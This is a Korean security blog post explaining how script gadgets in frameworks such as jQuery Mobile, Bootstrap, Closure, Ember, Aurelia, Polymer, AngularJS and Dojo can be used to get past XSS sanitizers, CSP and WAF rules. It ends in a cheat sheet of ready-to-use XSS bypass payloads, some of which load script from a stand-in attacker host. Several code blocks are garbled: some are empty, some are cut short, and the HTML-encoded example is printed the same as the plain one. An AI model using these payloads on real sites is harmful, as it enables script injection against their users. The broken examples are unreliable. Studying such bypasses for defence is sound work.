단순하게 보면 정상적인 태그와 핸들러, 즉 공격에 사용될 가능성이 낮은 것들은 허용하고 공격에 자주쓰이는 것들은 필터링합니다.
필터링되지 않는 것들
width=
height=
필터링되는 것들
```
[](https://1.bp.blogspot.com/-0WDYWXYxaqI/Wedc7H81qSI/AAAAAAAACmo/uN3AEst9mHYtfKuNhX0_loJIQw9XMuuuwCLcBGAs/s1600/%25EC%2584%25A0%25ED%2583%259D%2B%25EC%2598%2581%25EC%2597%25AD_160.png)
Frameworks(jquery 예시)에선 이런식으로 표현되죠. (위에서 t7)
```
$('').append('hahwul');
```
Bootstrap에선
```
<div data-toggle='asd' title='iamtitle'></div>
```
이런것들이 Selector입니다.
## What is script gadgets?
script gadget은 HTML Injection을 통해 공식적으로 실행이 가능한 Javascript 코드를 의미합니다.
즉 XSS 같이 의도하지 않은 코드가 아닌 정상적으로 코드로 보는 Javascript 이죠.
그렇기 때문에 Framework나 브라우저 등 여러 Filter/Mitigation를 넘어 공격코드가 동작할 수 있게 해주죠.
이런 가젯은 대표적으로.. 이런것들이 있습니다.
document.querySelector()
document.getElementById()
eval()
document.createElement()
callback.apply()
function() 등
익숙하시죠? 방금봤던 Selector에요. 이를 이용한 코드들을 Script Gadget입니다 :)
## Bypass XSS Filter and Mitigation
자 이제 Script Gadget을 통해 XSS Filter에 대해 우회하는 방법에 대해 이야기하죠.
먼저 아래 코드를 봅시다.
```
<div data-role="button" data-text="www.hahwul.com"></div>
```
과연 이 코드는 실행되면 어떤일이 일어날까요?
[](https://1.bp.blogspot.com/-O5UYPPL-x_g/WedckwT97WI/AAAAAAAACmY/c9NJr8-ZHuYDb3J88MHD_XiYfi-dQwXmQCLcBGAs/s1600/%25EC%2584%25A0%25ED%2583%259D%2B%25EC%2598%2581%25EC%2597%25AD_157.png)
별다른거 없습니다. data-role이 button인 div 태그 내 html 영역으로 data-text의 값이 쓰여집니다.
```
<div data-role="button" … >www.hahwul.com</div>
```
눈치빠르면 벌써 감이왔을텐데요. 다른 XSS 우회 기법들과 유사합니다. data-text에 우린 공격코드를 넣어주면되죠.
```
<div data-role="button" data-text="<script>alert(45)</script>"></div>
```
[](https://3.bp.blogspot.com/-08IJIV90Juc/WedcspNE1kI/AAAAAAAACmg/yWcFuii4HyAUNn0wxp293ICYap677bwXACLcBGAs/s1600/%25EC%2584%25A0%25ED%2583%259D%2B%25EC%2598%2581%25EC%2597%25AD_158.png)
오호!
약간 비꼬아서 HTML Char로 던져도..
```
<div data-role="button" data-text="<script>alert(45)</script>"></div>
```
[](https://1.bp.blogspot.com/-KB6F1QonoLI/WedcysYspzI/AAAAAAAACmk/8ZAvH7L6EdILtKMlvssEQbd8W904gZTlgCLcBGAs/s1600/%25EC%2584%25A0%25ED%2583%259D%2B%25EC%2598%2581%25EC%2597%25AD_159.png)
이런식으로 풀려서 잘 노출됩니다. Script gadget을 이용해서도 XSS가 가능합니다.
```
<div data-role="button" … ></div>
```
이 자체로만으로도 어느정도 사용할 수 있겠지만 재미있는점은 여기있습니다.
바로 여러 Framework, Library에서 Selector, Script Gadget을 많이 사용한다는거죠. 이미 script 코드는 들어가 있기 때문에 우린 data-text 같은 영역을 잘 활용해서 코드만 넣어주면 트리거 시킬 수 있습니다.
하나 예를들면..
HTML sanitizers에선 title 속성에 대한 값은 안전하다고 판단하여 별도로 필터링하지 않습니다.
다만 Bootstrap에는 Script Gadget 중 하나는 title 값을 로드하여 innerHTML 영역으로 넘기기 때문에 XSS 공격에 사용될 수 있죠.
```
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'>
```
## Bypass XSS Cheat sheet(+script gadgets)
각 Framework, Library에서 사용하는 script gadget과 이를 이용한 공격 case 입니다.
Jquery
```
<form class="child">
</form>
```
Jquery Mobile
```
<div data-role=popup id='--><script>"use strict"
alert(45)</script>'></div>
```
Bypassing sanitizers via jQuery Mobile
```
<div data-role=popup id='--><script>alert(45)</script>'></div>
```
Bootstrap
```
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'>
```
Bypassing CSP strict-dynamic via Bootstrap
```
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'></div>
```
Google Closure
```
<a id=CLOSURE_BASE_PATH href=data:/,1/alert(45)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>
```
Bypassing NoScript via Closure (DOM clobbering)
```
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
```
RequireJS
```
```
Enber
```
<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me />
<script type=text/x-handlebars>
<script src=//attacker.example.com// />
</script>
```
Ajaxify
```
<div class="document-script">alert(45)</div>
```
Aurelia
```
<div ref="me"
s.bind="$this.me.ownerDocument.createElement('script')"
data-bar="${$this.me.s.src='data:,alert(45)'}"
data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>
```
Expressions parsersf
```
<template is=dom-bind><div
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,alert(45)')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}} >
</template>
<template is=dom-bind><div
c={{alert('1',ownerDocument.defaultView)}}
b={{set('_rootDataHost',ownerDocument.defaultView)}}>
</div></template>
<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(45)">
```
ModSecurity CRS via Dojo Toolkit
```
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(45)-{">
```
CSP unsafe-eval via underscore templates
```
<div type=underscore/template> <% alert(45) %> </div>
```
## Conclusion
어떻게 보면 알려진 방법일수도 있고 새로운 방법일수도 있습니다. 다만 중요한건 이전에 angularjs sandbox escape 포스팅에서도 이야기드렸듯이(이야기안했나..?) 방법으로 인한 여러 우회 케이스가 발견될 수 있다는 겁니다.
※ [http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html](http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html)
분명히 위에있는 Framework, Library 뿐만 아니라 다른 곳에서도 발견될 수 있고 직접 적용한 Filtering에도 적용될 수 있기 때문에 이런 기법에 대한 내용은 중요하다고 생각이 드네요.
## Reference
[https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf)
[https://msdn.microsoft.com/en-us/library/hh567599(v=cs.95).aspx](https://msdn.microsoft.com/en-us/library/hh567599(v=cs.95).aspx)
[https://developers.google.com/gadgets/docs/fundamentals?hl=ko](https://developers.google.com/gadgets/docs/fundamentals?hl=ko)
[https://www.youtube.com/watch?v=p07acPBi-qw](https://www.youtube.com/watch?v=p07acPBi-qw)
[https://www.w3schools.com/jquery/jquery_ref_selectors.asp](https://www.w3schools.com/jquery/jquery_ref_selectors.asp)
[http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html](http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html)
[http://www.hahwul.com/2016/01/web-hacking-xxn-attackx-xss-nightmare-r.html](http://www.hahwul.com/2016/01/web-hacking-xxn-attackx-xss-nightmare-r.html)
[http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html](http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html)